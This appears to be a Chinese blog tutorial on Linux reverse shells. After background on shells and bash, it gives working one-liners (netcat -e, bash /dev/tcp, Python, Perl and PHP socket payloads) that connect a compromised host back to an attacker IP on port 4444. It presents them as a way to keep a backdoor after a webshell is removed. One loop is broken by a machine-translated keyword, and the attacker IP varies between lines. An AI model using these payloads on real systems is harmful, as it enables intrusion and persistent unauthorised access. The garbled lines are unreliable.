反弹shell

Linux下反弹Shell

shell究竟是什么

Shell 教程

Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。

Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。

Ken Thompson 的 sh 是第一种 Unix Shell,Windows Explorer 是一个典型的图形界面 Shell。

Shell 脚本

Shell 脚本(shell script),是一种为 shell 编写的脚本程序。

业界所说的 shell 通常都是指 shell 脚本,但读者朋友要知道,shell 和 shell script 是两个不同的概念。

由于习惯的原因,简洁起见,本文出现的 “shell编程” 都是指 shell 脚本编程,不是指开发 shell 自身。

Shell 环境

Shell 编程跟 JavaScript、php 编程一样,只要有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以了。

Linux 的 Shell 种类众多,常见的有:

Bourne Shell(/usr/bin/sh或/bin/sh)
Bourne Again Shell(/bin/bash)
C Shell(/usr/bin/csh)
K Shell(/usr/bin/ksh)
Shell for Root(/sbin/sh)
……
本教程关注的是 Bash,也就是 Bourne Again Shell,由于易用和免费,Bash 在日常工作中被广泛使用。同时,Bash 也是大多数Linux 系统默认的 Shell。

bash和sh有什么区别

sh(Bourne Shell)是一个早期的重要shell,1978年由史蒂夫·伯恩编写,并同Version 7 Unix一起发布。

bash(Bourne-Again Shell)是一个为GNU计划编写的Unix shell。1987年由布莱恩·福克斯创造。主要目标是与POSIX标准保持一致,同时兼顾对sh的兼容,是各种Linux发行版标准配置的Shell,在Linux系统上/bin/sh往往是指向/bin/bash的符号链接。

在一般情况下,人们并不区分 Bourne Shell 和 Bourne Again Shell,所以,像 #!/bin/sh,它同样也可以改为 #!/bin/bash。

#! 告诉系统其后路径所指定的程序即是解释此脚本文件的 Shell 程序。

为什么需要反弹

反弹指的是目标机器发送请求链接我们的服务器
webshel​​l下执行命令不交互,为了方便提权或其他操作必须要反弹shell。
反弹shell带来新增一个后门,当webshel​​l被发现删除后权限不会丢失。

Linux反弹shell

NC简介

NC(全名NetCat),在网络界有"瑞士军刀"的美誉。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。
语法
nc [-hlnruz][-g<网关…>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v…][-w<超时秒数>][主机名称][通信端口…]
安装:yum install nc -y(-y指的yes)
nc参数
-l 监听,-v 输出交互或出错信息,-p 端口

Linux反弹shell

攻击机:nc -lvp 4444
目标机:nc 192.168.4.49 4444 -e /bin/bash
方法1:
攻击机: nc -lvp 4444
目标机:bash -i >& /dev/tcp/192.168.4.49/4444 0>&1
反弹shell
方法2:exec 5<>/dev/tcp/193.168.4.49/4444;cat <&5 | while read line;做 $line 2>&5 >&5; done
方法3:0<&196;exec 196<>/dev/tcp/193.168.4.49/4444; sh <&196 >&196 2>&196

脚本语言反弹shell

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("193.168.4.49",4444));os.dup2(s.fileno() ,0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

perl

perl -e 'use Socket;$i="193.168.4.49";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton( $i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");} ;'

php

php -r '$sock=fsockopen("193.168.4.49",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

bash -h可进入bash exit退出两次

上一篇:20-21-2网络管理quiz3


下一篇:A Child's History of England.208